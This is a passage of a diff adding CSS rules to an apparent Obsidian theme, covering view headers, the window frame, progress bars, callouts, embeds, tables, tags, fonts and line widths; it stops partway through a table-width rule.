+body:not(.is-mobile) .view-actions .view-action:last-child { + margin-left: -1px; +} + +body:not(.minimal-focus-mode) .workspace-ribbon:not(.is-collapsed) ~ .mod-root .view-actions, +.minimal-focus-mode .workspace-ribbon:not(.is-collapsed) ~ .mod-root .view-header:hover .view-actions, +.workspace-ribbon.mod-left.is-collapsed ~ .mod-root .view-header:hover .view-actions, +.mod-right.is-collapsed ~ .mod-root .view-header:hover .view-actions, +.view-action.is-active:hover { + opacity: 1; + transition: opacity 0.25s ease-in-out; +} + +.view-header-title-container { + opacity: 0; + transition: opacity 0.1s ease-in-out; +} + +.view-header-title-container:focus-within { + opacity: 1; + transition: opacity 0.1s ease-in-out; +} + +.workspace-tab-header-container:hover + .workspace-tab-container .view-header-title-container, +.view-header:hover .view-header-title-container { + opacity: 1; + transition: opacity 0.1s ease-in-out; +} + +.is-phone .view-header-title-container, +.minimal-tab-title-visible .view-header-title-container { + opacity: 1; +} + +.minimal-tab-title-hidden .view-header-title-container { + opacity: 0; +} +.minimal-tab-title-hidden .view-header-title-container:focus-within { + opacity: 1; + transition: opacity 0.1s ease-in-out; +} +.minimal-tab-title-hidden .workspace-tab-header-container:hover + .workspace-tab-container .view-header-title-container, +.minimal-tab-title-hidden .view-header:hover .view-header-title-container { + opacity: 0; +} + +/* Window frame */ +body.window-title-off .titlebar-text { + display: none; +} + +.titlebar-button-container.mod-right { + background-color: transparent !important; +} + +.is-hidden-frameless.theme-dark:not(.minimal-dark-black):not(.colorful-frame), +.is-hidden-frameless.theme-light:not(.minimal-light-tonal):not(.colorful-frame):not(.minimal-light-white) { + --titlebar-background: var(--bg1); +} +.is-hidden-frameless.theme-dark:not(.minimal-dark-black):not(.colorful-frame).is-focused .sidebar-toggle-button.mod-right, +.is-hidden-frameless.theme-dark:not(.minimal-dark-black):not(.colorful-frame).is-focused .workspace-ribbon.mod-left.is-collapsed, +.is-hidden-frameless.theme-dark:not(.minimal-dark-black):not(.colorful-frame).is-focused .workspace-tabs.mod-top, +.is-hidden-frameless.theme-light:not(.minimal-light-tonal):not(.colorful-frame):not(.minimal-light-white).is-focused .sidebar-toggle-button.mod-right, +.is-hidden-frameless.theme-light:not(.minimal-light-tonal):not(.colorful-frame):not(.minimal-light-white).is-focused .workspace-ribbon.mod-left.is-collapsed, +.is-hidden-frameless.theme-light:not(.minimal-light-tonal):not(.colorful-frame):not(.minimal-light-white).is-focused .workspace-tabs.mod-top { + --titlebar-background-focused: var(--bg1); +} +.is-hidden-frameless.theme-dark:not(.minimal-dark-black):not(.colorful-frame):not(.minimal-dark-tonal):not(.minimal-light-white) .workspace-ribbon.mod-left:not(.is-collapsed), +.is-hidden-frameless.theme-light:not(.minimal-light-tonal):not(.colorful-frame):not(.minimal-light-white):not(.minimal-dark-tonal):not(.minimal-light-white) .workspace-ribbon.mod-left:not(.is-collapsed) { + --titlebar-background: var(--bg2); +} + +/* Trying for a smoother animation */ +.mod-macos.is-hidden-frameless:not(.is-popout-window) .sidebar-toggle-button.mod-right { + right: 0; + padding-right: var(--size-4-2); +} + +body.is-focused { + --titlebar-background-focused: var(--background-secondary); +} + +.is-hidden-frameless:not(.colorful-frame) .mod-left-split .mod-top .workspace-tab-header-container { + --tab-container-background: var(--background-secondary); +} + +.mod-root .workspace-tab-header-status-icon { + color: var(--text-muted); +} + +.is-collapsed .workspace-sidedock-vault-profile { + opacity: 0; +} + +body:not(.is-mobile).hide-help .workspace-drawer-vault-actions .clickable-icon:first-child { + display: none; +} + +body:not(.is-mobile).hide-settings .workspace-drawer-vault-actions .clickable-icon:last-child { + display: none; +} + +body:not(.is-mobile).hide-help.hide-settings .workspace-drawer-vault-actions { + display: none !important; +} + +body:not(.is-grabbing):not(.is-fullscreen).labeled-nav.is-hidden-frameless.vault-profile-top .mod-left-split .mod-top .workspace-tab-header-container { + -webkit-app-region: no-drag; +} +body:not(.is-grabbing):not(.is-fullscreen).labeled-nav.is-hidden-frameless.vault-profile-top .mod-left-split .mod-top .workspace-tab-header-container:before { + position: absolute; + top: 0; + content: ""; + height: var(--header-height); + width: 100%; + -webkit-app-region: drag; +} + +body:not(.is-mobile):not(.labeled-nav).vault-profile-top .workspace-split.mod-left-split .mod-top .workspace-tab-container { + margin-top: calc(var(--header-height) + 8px); +} +body:not(.is-mobile):not(.labeled-nav).vault-profile-top .workspace-split.mod-left-split .workspace-sidedock-vault-profile { + -webkit-app-region: no-drag; + position: absolute; + top: var(--header-height); + z-index: 6; + width: 100%; + border-top: 0; + border-bottom: 1px solid var(--background-modifier-border); +} +body:not(.is-mobile):not(.labeled-nav).vault-profile-top .workspace-split.mod-left-split .workspace-sidedock-vault-profile .workspace-drawer-vault-switcher { + padding-left: var(--size-4-2); +} + +body:not(.is-mobile).labeled-nav.vault-profile-top .workspace-split.mod-left-split .workspace-sidedock-vault-profile { + -webkit-app-region: no-drag; + position: absolute; + top: var(--labeled-nav-top-margin); + z-index: 6; + width: 100%; + background-color: transparent; + border-top: 0; + border-bottom: 1px solid var(--background-modifier-border); +} +body:not(.is-mobile).labeled-nav.vault-profile-top .workspace-split.mod-left-split .workspace-sidedock-vault-profile .workspace-drawer-vault-switcher { + padding-left: var(--size-4-2); +} + +.vault-profile-top .workspace-tab-header-container-inner { + --labeled-nav-top-margin: 84px; +} + +/* Components */ +.document-search, .document-replace { + max-width: 100%; + padding: 0; +} + +.document-search-container { + margin: 0 auto; + max-width: var(--max-width); + width: var(--line-width); +} + +/* Modals */ +.modal-button-container .mod-checkbox { + --checkbox-radius: 4px; +} + +/* Confirm delete */ +.modal-container.mod-confirmation .modal { + width: 480px; + min-width: 0; +} + +/* Hide settings descriptions */ +.hide-settings-desc.is-phone .setting-item { + padding: 0.65em 0; +} +.hide-settings-desc.is-phone .setting-item-name { + font-weight: 400; + font-size: 16px; +} +.hide-settings-desc .setting-item-name { + transition: max-height 200ms ease-in-out, padding-top 200ms ease-in-out; +} +.hide-settings-desc .setting-item-name:active + .setting-item-description { + opacity: 1; + max-height: 500px; + padding-top: 4px; + transition: opacity 100ms ease-out, max-height 200ms ease-out, padding-top 200ms ease-in-out; +} +.hide-settings-desc .setting-item-description { + opacity: 0; + max-height: 0; + padding-top: 0; + transition: max-height 200ms ease-in-out, padding-top 200ms ease-in-out; +} + +.popover { + --file-margins: var(--size-4-6) var(--size-4-6) var(--size-4-6); +} + +.minimal-line-nums .popover .markdown-source-view { + --file-margins: var(--size-4-4) var(--size-4-6) var(--size-4-6) var(--size-4-12); +} +.minimal-line-nums .popover .markdown-source-view.is-rtl { + --file-margins: var(--size-4-4) var(--size-4-12) var(--size-4-6) var(--size-4-6); +} + +/* Progress bars */ +body { + --progress-outline: var(--background-modifier-border); + --progress-complete: var(--text-accent); +} + +.markdown-rendered progress, +.markdown-source-view.is-live-preview progress, +.markdown-preview-view progress { + width: 220px; +} +.markdown-rendered progress[value]::-webkit-progress-bar, +.markdown-source-view.is-live-preview progress[value]::-webkit-progress-bar, +.markdown-preview-view progress[value]::-webkit-progress-bar { + box-shadow: inset 0px 0px 0px var(--border-width) var(--progress-outline); +} +.markdown-rendered progress[value^="1"]::-webkit-progress-value, .markdown-rendered progress[value^="2"]::-webkit-progress-value, .markdown-rendered progress[value^="3"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="1"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="2"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="3"]::-webkit-progress-value, +.markdown-preview-view progress[value^="1"]::-webkit-progress-value, +.markdown-preview-view progress[value^="2"]::-webkit-progress-value, +.markdown-preview-view progress[value^="3"]::-webkit-progress-value { + background-color: var(--color-red); +} +.markdown-rendered progress[value^="4"]::-webkit-progress-value, .markdown-rendered progress[value^="5"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="4"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="5"]::-webkit-progress-value, +.markdown-preview-view progress[value^="4"]::-webkit-progress-value, +.markdown-preview-view progress[value^="5"]::-webkit-progress-value { + background-color: var(--color-orange); +} +.markdown-rendered progress[value^="6"]::-webkit-progress-value, .markdown-rendered progress[value^="7"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="6"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="7"]::-webkit-progress-value, +.markdown-preview-view progress[value^="6"]::-webkit-progress-value, +.markdown-preview-view progress[value^="7"]::-webkit-progress-value { + background-color: var(--color-yellow); +} +.markdown-rendered progress[value^="8"]::-webkit-progress-value, .markdown-rendered progress[value^="9"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="8"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value^="9"]::-webkit-progress-value, +.markdown-preview-view progress[value^="8"]::-webkit-progress-value, +.markdown-preview-view progress[value^="9"]::-webkit-progress-value { + background-color: var(--color-green); +} +.markdown-rendered progress[value="1"]::-webkit-progress-value, .markdown-rendered progress[value="100"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="1"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="100"]::-webkit-progress-value, +.markdown-preview-view progress[value="1"]::-webkit-progress-value, +.markdown-preview-view progress[value="100"]::-webkit-progress-value { + background-color: var(--progress-complete); +} +.markdown-rendered progress[value="0"]::-webkit-progress-value, .markdown-rendered progress[value="2"]::-webkit-progress-value, .markdown-rendered progress[value="3"]::-webkit-progress-value, .markdown-rendered progress[value="4"]::-webkit-progress-value, .markdown-rendered progress[value="5"]::-webkit-progress-value, .markdown-rendered progress[value="6"]::-webkit-progress-value, .markdown-rendered progress[value="7"]::-webkit-progress-value, .markdown-rendered progress[value="8"]::-webkit-progress-value, .markdown-rendered progress[value="9"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="0"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="2"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="3"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="4"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="5"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="6"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="7"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="8"]::-webkit-progress-value, +.markdown-source-view.is-live-preview progress[value="9"]::-webkit-progress-value, +.markdown-preview-view progress[value="0"]::-webkit-progress-value, +.markdown-preview-view progress[value="2"]::-webkit-progress-value, +.markdown-preview-view progress[value="3"]::-webkit-progress-value, +.markdown-preview-view progress[value="4"]::-webkit-progress-value, +.markdown-preview-view progress[value="5"]::-webkit-progress-value, +.markdown-preview-view progress[value="6"]::-webkit-progress-value, +.markdown-preview-view progress[value="7"]::-webkit-progress-value, +.markdown-preview-view progress[value="8"]::-webkit-progress-value, +.markdown-preview-view progress[value="9"]::-webkit-progress-value { + background-color: var(--color-red); +} + +/* Tooltips */ +.tooltip { + transition: none; + animation: none; +} + +.tooltip.mod-left, +.tooltip.mod-right { + animation: none; +} + +.tooltip.mod-error { + color: var(--text-error); +} + +/* Content */ +/* Blockquotes */ +.markdown-preview-view blockquote { + padding-inline-start: var(--nested-padding); + font-size: var(--blockquote-size); +} + +.markdown-source-view.mod-cm6.is-live-preview .HyperMD-quote, +.markdown-source-view.mod-cm6 .HyperMD-quote { + font-size: var(--blockquote-size); +} + +.is-live-preview .cm-hmd-indent-in-quote { + color: var(--text-faint); +} + +/* Callouts */ +.is-live-preview.is-readable-line-width > .cm-callout .callout { + max-width: var(--max-width); + margin: 0 auto; +} + +.callouts-outlined .callout .callout-title { + background-color: var(--background-primary); + margin-top: -24px; + z-index: 200; + width: fit-content; + padding: 0 0.5em; + margin-left: -0.75em; + letter-spacing: 0.05em; + font-variant-caps: all-small-caps; +} +.callouts-outlined .callout { + overflow: visible; + --callout-border-width: 1px; + --callout-border-opacity: 0.5; + --callout-title-size: 0.8em; + --callout-blend-mode: normal; + background-color: transparent; +} +.callouts-outlined .cm-embed-block.cm-callout { + padding-top: 12px; +} +.callouts-outlined .callout-content .callout { + margin-top: 18px; +} + +/* Checklists, task lists, checkboxes */ +body { + --checkbox-radius: 50%; + --checkbox-top: 2px; + --checkbox-left: 0px; + --checkbox-margin: 0px 6px 0px -2em; +} + +.checkbox-square { + --checkbox-size: calc(var(--font-text-size) * 0.85); + --checkbox-radius: 4px; + --checkbox-top: 1px; + --checkbox-left: 0px; + --checkbox-margin: 0px 8px 0px -2em; +} + +body.minimal-strike-lists { + --checklist-done-decoration: line-through; +} + +body:not(.minimal-strike-lists) { + --checklist-done-decoration: none; + --checklist-done-color: var(--text-normal); +} + +.markdown-preview-section > .contains-task-list { + padding-bottom: 0.5em; +} + +.mod-cm6 .HyperMD-task-line[data-task] .cm-formatting-list-ol ~ .task-list-label .task-list-item-checkbox { + margin: 1px; +} + +.markdown-preview-view .task-list-item-checkbox { + position: relative; + top: var(--checkbox-top); + left: var(--checkbox-left); +} + +.markdown-preview-view ul > li.task-list-item { + text-indent: 0; +} + +.minimal-code-scroll { + --code-white-space: pre; +} +.minimal-code-scroll .HyperMD-codeblock.HyperMD-codeblock-bg { + overflow-y: scroll; + white-space: pre; +} +.minimal-code-scroll .cm-hmd-codeblock { + white-space: pre !important; +} + +@media print { + .print { + --code-background: #eeeeee !important; + } +} +/* Transcluded notes and embeds */ +body { + --embed-max-height: none; + --embed-decoration-style: solid; + --embed-decoration-color: var(--background-modifier-border-hover); +} + +/* Strict embeds (naked) */ +.embed-strict { + --embed-background: transparent; + --embed-border-start: 0; + --embed-border-left: 0; + --embed-padding: 0; +} +.embed-strict .markdown-embed-content { + --folding-offset: 0px; +} +.embed-strict .internal-embed .markdown-embed, +.embed-strict .markdown-preview-view .markdown-embed, .embed-strict.markdown-preview-view .markdown-embed { + padding: 0; +} +.embed-strict .markdown-embed-title, +.embed-strict .internal-embed .markdown-embed .markdown-embed-title { + display: none; +} +.embed-strict .internal-embed:not([src*="#^"]) .markdown-embed-link { + width: 24px; + opacity: 0; +} + +.embed-underline .internal-embed:not(.pdf-embed, .bases-embed) { + text-decoration-line: underline; + text-decoration-style: var(--embed-decoration-style); + text-decoration-color: var(--embed-decoration-color); +} + +.embed-hide-title .markdown-embed-title { + display: none; +} + +.embed-strict.contextual-typography .internal-embed .markdown-preview-view .markdown-preview-sizer > div, +.contextual-typography .embed-strict .internal-embed .markdown-preview-view .markdown-preview-sizer > div { + margin: 0; + width: 100%; +} + +.markdown-embed .markdown-preview-view .markdown-preview-sizer { + padding-bottom: 0 !important; +} + +.markdown-preview-view.markdown-embed .markdown-preview-sizer, +.markdown-preview-view.is-readable-line-width .markdown-embed .markdown-preview-sizer { + max-width: 100%; + width: 100%; + min-height: 0 !important; + padding-bottom: 0 !important; +} + +.markdown-embed .markdown-preview-section div:last-child p, +.markdown-embed .markdown-preview-section div:last-child ul { + margin-block-end: 2px; +} + +.markdown-preview-view .markdown-embed { + margin-top: var(--nested-padding); + padding: 0 calc(var(--nested-padding) / 2) 0 var(--nested-padding); +} + +.internal-embed:not([src*="#^"]) .markdown-embed-link { + right: 0; + width: 100%; +} + +.markdown-embed-link, +.file-embed-link { + top: 0px; + right: 0; + text-align: right; + justify-content: flex-end; +} + +.file-embed-link svg, +.markdown-embed-link svg { + width: 16px; + height: 16px; +} + +.markdown-embed .file-embed-link, +.markdown-embed .markdown-embed-link { + opacity: 0.6; + transition: opacity 0.1s linear; +} + +.markdown-embed .file-embed-link:hover, +.markdown-embed .markdown-embed-link:hover { + opacity: 1; +} +.markdown-embed .file-embed-link:hover:hover, +.markdown-embed .markdown-embed-link:hover:hover { + background-color: transparent; + --icon-color: var(--text-accent); +} + +.markdown-embed-link:hover, .file-embed-link:hover { + color: var(--text-muted); +} + +.markdown-embed .markdown-preview-view { + padding: 0; +} + +.internal-embed .markdown-embed { + border: 0; + border-left: 1px solid var(--quote-opening-modifier); + border-radius: 0; +} + +/* Links */ +a[href*="obsidian://search"] { + background-image: url("data:image/svg+xml,"); +} + +.theme-dark a[href*="obsidian://search"] { + background-image: url("data:image/svg+xml,"); +} + +.plain-external-links .external-link { + background-image: none; + padding-right: 0; +} + +body { + --adaptive-list-edit-offset: var(--list-edit-offset); +} + +.is-rtl { + --adaptive-list-edit-offset: calc(var(--list-edit-offset)*-1); +} + +/* Space between list items */ +.markdown-source-view ol > li, +.markdown-source-view ul > li, +.markdown-preview-view ol > li, +.markdown-preview-view ul > li, +.mod-cm6 .HyperMD-list-line.cm-line { + padding-top: var(--list-spacing); + padding-bottom: var(--list-spacing); +} + +.is-mobile ul > li:not(.task-list-item)::marker { + font-size: 0.8em; +} + +/* Backlinks in Preview */ +.is-mobile .workspace-leaf-content:not([data-type=search]) .workspace-leaf-content[data-type=markdown] .nav-buttons-container { + border-bottom: none; + padding-top: 5px; +} + +.is-mobile .mod-root .workspace-leaf-content[data-type=markdown] .search-input-container { + width: calc(100% - 160px); +} + +.embedded-backlinks .backlink-pane > .tree-item-self:hover, +.embedded-backlinks .backlink-pane > .tree-item-self { + text-transform: none; + color: var(--text-normal); + font-size: var(--font-adaptive-normal); + font-weight: 500; + letter-spacing: unset; +} + +body { + --pdf-dark-opacity: 1; +} + +.theme-light:not(.pdf-shadows-on), +.theme-dark:not(.pdf-shadows-on) { + --pdf-shadow: none; + --pdf-thumbnail-shadow: none; +} +.theme-light:not(.pdf-shadows-on) .pdf-viewer .page, +.theme-light:not(.pdf-shadows-on) .pdfViewer .page, +.theme-dark:not(.pdf-shadows-on) .pdf-viewer .page, +.theme-dark:not(.pdf-shadows-on) .pdfViewer .page { + border: 0; +} +.theme-light:not(.pdf-shadows-on) .pdf-sidebar-container .thumbnailSelectionRing, +.theme-dark:not(.pdf-shadows-on) .pdf-sidebar-container .thumbnailSelectionRing { + padding: 0; +} +.theme-light:not(.pdf-shadows-on) .pdf-sidebar-container .thumbnail::after, +.theme-dark:not(.pdf-shadows-on) .pdf-sidebar-container .thumbnail::after { + right: var(--size-4-2); + bottom: var(--size-4-2); +} + +.theme-dark { + --pdf-thumbnail-shadow: 0 0 1px 0 rgba(0,0,0,0.6); + --pdf-shadow: 0 0 1px 0 rgba(0,0,0,0.6); +} +.theme-dark .pdf-viewer .canvasWrapper, +.theme-dark .pdfViewer .canvasWrapper { + opacity: var(--pdf-dark-opacity); +} +.theme-dark.pdf-invert-dark .workspace-leaf-content[data-type=pdf] .pdf-viewer .canvasWrapper, +.theme-dark.pdf-invert-dark .workspace-leaf-content[data-type=pdf] .pdfViewer .canvasWrapper { + filter: invert(1) hue-rotate(180deg); + mix-blend-mode: screen; +} + +.theme-light.pdf-blend-light .workspace-leaf-content[data-type=pdf] .pdf-viewer .canvasWrapper, +.theme-light.pdf-blend-light .workspace-leaf-content[data-type=pdf] .pdfViewer .canvasWrapper { + mix-blend-mode: multiply; +} + +body { + --table-header-border-width: 0; + --table-column-first-border-width: 0; + --table-column-last-border-width: 0; + --table-row-last-border-width: 0; + --table-edge-cell-padding-first: 0; + --table-edge-cell-padding-last: 0; + --table-cell-padding: 4px 10px; + --table-header-size: var(--table-text-size); +} + +/* Preview mode tables */ +.markdown-source-view.mod-cm6 table { + border-collapse: collapse; +} + +.markdown-rendered th { + --table-header-size: var(--table-text-size); +} + +.markdown-source-view.mod-cm6 table, +.markdown-preview-view table { + border: var(--border-width) solid var(--border-color); + border-collapse: collapse; +} +.markdown-source-view.mod-cm6 td, .markdown-source-view.mod-cm6 th, +.markdown-preview-view td, +.markdown-preview-view th { + padding: var(--table-cell-padding); +} +.markdown-source-view.mod-cm6 td:first-child, .markdown-source-view.mod-cm6 th:first-child, +.markdown-preview-view td:first-child, +.markdown-preview-view th:first-child { + padding-inline-start: var(--table-edge-cell-padding-first); +} +.markdown-source-view.mod-cm6 td:first-child .table-cell-wrapper, .markdown-source-view.mod-cm6 th:first-child .table-cell-wrapper, +.markdown-preview-view td:first-child .table-cell-wrapper, +.markdown-preview-view th:first-child .table-cell-wrapper { + padding-inline-start: 0; +} +.markdown-source-view.mod-cm6 td:last-child, .markdown-source-view.mod-cm6 th:last-child, +.markdown-preview-view td:last-child, +.markdown-preview-view th:last-child { + padding-inline-end: var(--table-edge-cell-padding-last); +} +.markdown-source-view.mod-cm6 td:last-child .table-cell-wrapper, .markdown-source-view.mod-cm6 th:last-child .table-cell-wrapper, +.markdown-preview-view td:last-child .table-cell-wrapper, +.markdown-preview-view th:last-child .table-cell-wrapper { + padding-inline-end: 0; +} + +.markdown-source-view.mod-cm6 .cm-table-widget table { + margin-top: 0; +} +.markdown-source-view.mod-cm6 .cm-table-widget .table-cell-wrapper { + padding: var(--table-cell-padding); +} + +.markdown-reading-view table { + --p-spacing: 0.5rem; +} + +.cm-embed-block.cm-table-widget.markdown-rendered { + padding: var(--table-drag-padding); + overscroll-behavior-x: none; +} +.is-mobile .cm-embed-block.cm-table-widget.markdown-rendered { + padding-bottom: 40px; +} + +/* Override Sortable plugin */ +.markdown-preview-view th, +.table-view-table > thead > tr > th, +.markdown-source-view.mod-cm6 .dataview.table-view-table thead.table-view-thead tr th { + padding: var(--table-cell-padding); +} +.markdown-preview-view th:first-child, +.table-view-table > thead > tr > th:first-child, +.markdown-source-view.mod-cm6 .dataview.table-view-table thead.table-view-thead tr th:first-child { + padding-inline-start: var(--table-edge-cell-padding-first); +} +.markdown-preview-view th:last-child, +.table-view-table > thead > tr > th:last-child, +.markdown-source-view.mod-cm6 .dataview.table-view-table thead.table-view-thead tr th:last-child { + padding-inline-end: var(--table-edge-cell-padding-last); +} + +/* Live Preview Tables */ +.cm-s-obsidian .HyperMD-table-row span.cm-hmd-table-sep, +.cm-hmd-table-sep-dummy { + color: var(--text-faint); + font-weight: 400; +} + +/* Tags */ +body.minimal-unstyled-tags { + --tag-background: transparent; + --tag-background-hover: transparent; + --tag-border-width: 0px; + --tag-padding-x: 0; + --tag-padding-y: 0; + --tag-size: inherit; + --tag-color-hover: var(--text-accent-hover); +} +body.minimal-unstyled-tags.is-mobile.theme-dark { + --tag-background: transparent; +} + +body:not(.minimal-unstyled-tags) { + --tag-size: 0.8em; + --tag-padding-y: 0.2em; + --tag-background: transparent; + --tag-background-hover: transparent; + --tag-color: var(--text-muted); + --tag-border-width: 1px; + --tag-border-color: var(--background-modifier-border); + --tag-border-color-hover: var(--background-modifier-border-hover); + --tag-color-hover: var(--text-normal); +} + +body.is-mobile.theme-dark { + --tag-background: transparent; +} + +/* Headings and fonts */ +h1, h2, h3, h4 { + letter-spacing: -0.02em; +} + +body, input, button { + font-family: var(--font-interface); +} + +.cm-s-obsidian span.cm-error { + color: var(--color-red); +} + +.markdown-preview-view, +.popover, +.workspace-leaf-content[data-type=markdown] { + font-family: var(--font-text); +} + +body, +.markdown-preview-view, +.view-content > .markdown-source-view.mod-cm6.is-live-preview > .cm-scroller, +.view-content > .cm-s-obsidian { + font-size: var(--font-adaptive-normal); + font-weight: var(--normal-weight); +} + +.view-content > .markdown-source-view.mod-cm6 .cm-scroller, +.view-content > .markdown-source-view, +.view-content > .cm-s-obsidian { + font-family: var(--font-editor); +} + +.cm-formatting:not(.cm-formatting-code-block):not(.cm-formatting-hashtag) { + color: var(--text-formatting); +} + +.hide-markdown .is-live-preview .cm-formatting.cm-formatting-code.cm-inline-code, .hide-markdown .is-live-preview .cm-formatting.cm-formatting-em, .hide-markdown .is-live-preview .cm-formatting.cm-formatting-link, .hide-markdown .is-live-preview .cm-formatting.cm-formatting-strikethrough, .hide-markdown .is-live-preview .cm-formatting.cm-formatting-strong, .hide-markdown .is-live-preview .cm-formatting.cm-formatting-highlight { + display: none; +} +.hide-markdown .is-live-preview .cm-formatting-quote { + opacity: 0; +} +.hide-markdown .is-live-preview .cm-hmd-internal-link.cm-link-has-alias, +.hide-markdown .is-live-preview .cm-link-alias-pipe, +.hide-markdown .is-live-preview .cm-formatting-link, +.hide-markdown .is-live-preview .cm-formatting-header { + display: none; +} + +/* Minimal features */ +/* Active line highlight */ +.active-line-on .workspace-leaf-content[data-type=markdown] .cm-line.cm-active, +.active-line-on .workspace-leaf-content[data-type=markdown] .markdown-source-view.mod-cm6.is-live-preview .HyperMD-quote.cm-active { + background-color: var(--active-line-bg); + box-shadow: -25vw 0px var(--active-line-bg), 25vw 0 var(--active-line-bg); +} + +.disable-animations { + --ribbon-animation-duration: 0ms; + --focus-animation-duration: 0ms; +} +.disable-animations .mod-sidedock { + transition-duration: 0ms !important; +} + +.fast-animations { + --ribbon-animation-duration: 0.05s; + --focus-animation-duration: 0.05s; +} +.fast-animations .mod-sidedock { + transition-duration: 70ms !important; +} + +body { + --content-margin: auto; + --content-margin-start: max( + calc(50% - var(--line-width)/2), + calc(50% - var(--max-width)/2) ); + --content-line-width: min(var(--line-width), var(--max-width)); + --map-header-padding: 2px; +} + +/* Line widths ------------------------------------ */ +/* Set overall context to 100% width */ +.markdown-preview-view .markdown-preview-sizer.markdown-preview-sizer { + max-width: 100%; + margin-inline: auto; + width: 100%; +} + +/* Prevent x overflow when line numbers are on +.markdown-source-view.mod-cm6 .cm-sizer { + overflow-x: hidden; +} */ +.markdown-source-view.mod-cm6.is-readable-line-width .cm-content, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-sizer { + max-width: 100%; + width: 100%; +} + +/* Set inner content to line width */ +.markdown-preview-view.is-readable-line-width .markdown-preview-sizer > div, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > div, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-sizer > .inline-title, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-sizer > .embedded-backlinks, +.markdown-source-view.mod-cm6.is-readable-line-width .cm-sizer > .metadata-container { + max-width: var(--max-width); + width: var(--line-width); + margin-inline: var(--content-margin) !important; +} + +.markdown-source-view.mod-cm6.is-readable-line-width .cm-contentContainer.cm-contentContainer > .cm-content > *:not(div) { + max-width: var(--content-line-width); + margin-inline-start: var(--content-margin-start) !important; +} + +/* File margins ------------------------------------ */ +.is-readable-line-width { + --file-margins: 1rem 0 0 0; +} + +.is-mobile .markdown-preview-view { + --folding-offset: 0; +} + +/* With line numbers */ +.minimal-line-nums .workspace-leaf-content[data-type=markdown] { + --file-margins: var(--size-4-8) var(--size-4-8) var(--size-4-8) 48px; +} +.minimal-line-nums .workspace-leaf-content[data-type=markdown].is-rtl { + --file-margins: var(--size-4-8) 48px var(--size-4-8) var(--size-4-8); +} +.minimal-line-nums .workspace-leaf-content[data-type=markdown] .is-readable-line-width { + --file-margins: 1rem 0 0 var(--folding-offset); +} +.minimal-line-nums .workspace-leaf-content[data-type=markdown] .is-readable-line-width.is-rtl { + --file-margins: 1rem var(--folding-offset) 0 0; +} + +.minimal-line-nums .mod-right-split .markdown-preview-view, +.minimal-line-nums .mod-right-split .markdown-source-view.mod-cm6 .cm-scroller, +.minimal-line-nums .mod-left-split .markdown-preview-view, +.minimal-line-nums .mod-left-split .markdown-source-view.mod-cm6 .cm-scroller { + --file-margins: var(--size-4-5) var(--size-4-5) var(--size-4-5) 48px; +} + +.view-content .reader-mode-content.is-readable-line-width .markdown-preview-sizer { + max-width: var(--max-width); + width: var(--line-width); +} + +/* Embeds ------------------------------------ */ +.markdown-preview-view .inline-embed { + --max-width: 100%; +} + +/* Content rules ------------------------------------ + + The benefit of this approach is that it covers all levels + of specificity wherever the helper is applied: global, + per file, and element-level. + + It means we don't have to write long specific selectors + like `.table-100.markdown-source-view...` +*/ +body { + --container-table-max-width: var(--max-width); + --table-max-width: none; + --table-width: auto; + --table-margin: inherit; + --table-wrapper-width: fit-content; + --container-dataview-table-width: var(--line-width); + --container-img-width: var(--line-width); + --container-img-max-width: var(--max-width); + --img-max-width: 100%; + --img-width: auto; + /* because external images don't have a container */ + --img-margin-start: var(--content-margin-start); + --img-line-width: var(--content-line-width); + --container-chart-width: var(--line-width); + --container-chart-max-width: var(--max-width); + --chart-max-width: none; + --chart-width: auto; + --container-map-width: var(--line-width); + --container-map-max-width: var(--max-width); + --map-max-width: none; + --map-width: auto; + --container-iframe-width: var(--line-width); + --container-iframe-max-width: var(--max-width); + --iframe-max-width: none; + --iframe-width: auto; + /* Entire page */ +} +body .wide { + --line-width: var(--line-width-wide); + --container-table-width: var(--line-width-wide); + --container-dataview-table-width: var(--line-width-wide); + --container-img-width: var(--line-width-wide); + --container-iframe-width: var(--line-width-wide); + --container-map-width: var(--line-width-wide); + --container-chart-width: var(--line-width-wide); +} +body .max { + --line-width: var(--max-width); + --container-table-width: var(--max-width); + --container-dataview-table-width: var(--max-width); + --container-img-width: var(--max-width); + --container-iframe-width: var(--max-width); + --container-map-width: var(--max-width); + --container-chart-width: var(--max-width); +} + +table.dataview { + --table-min-width: min(var(--line-width),var(--max-width)); +} + +.cards table.dataview { + --table-width: 100%; + --table-min-width: none; +} + +body { + --table-drag-space: 16px; + --container-table-margin: calc(var(--content-margin-start) - var(--table-drag-space)); + --container-table-width: calc(var(--line-width) + var(--table-drag-space)*2); + --table-drag-padding: var(--table-drag-space); +} + +.is-mobile { + --table-drag-space: 16px; + --container-table-max-width: calc(100% - var(--container-table-margin)); +} + +.maximize-tables-auto { + --container-table-max-width: 100%; + --container-table-width: 100%; + --container-dataview-table-width: 100%; + --container-table-margin: 0; + --table-drag-padding: var(--table-drag-space) 0; + --table-max-width: 100%; + --table-margin: var(--content-margin-start) auto; + --table-width: auto; +} +.maximize-tables-auto .cards { + --container-table-max-width: var(--max-width); +} +.maximize-tables-auto .cards .block-language-dataview { + --table-margin: auto; +} + +.maximize-tables { + --container-table-max-width: 100%; + --container-table-width: 100%; + --container-table-margin: 0; + --table-drag-padding: var(--table-drag-space) 0; + --table-min-width: 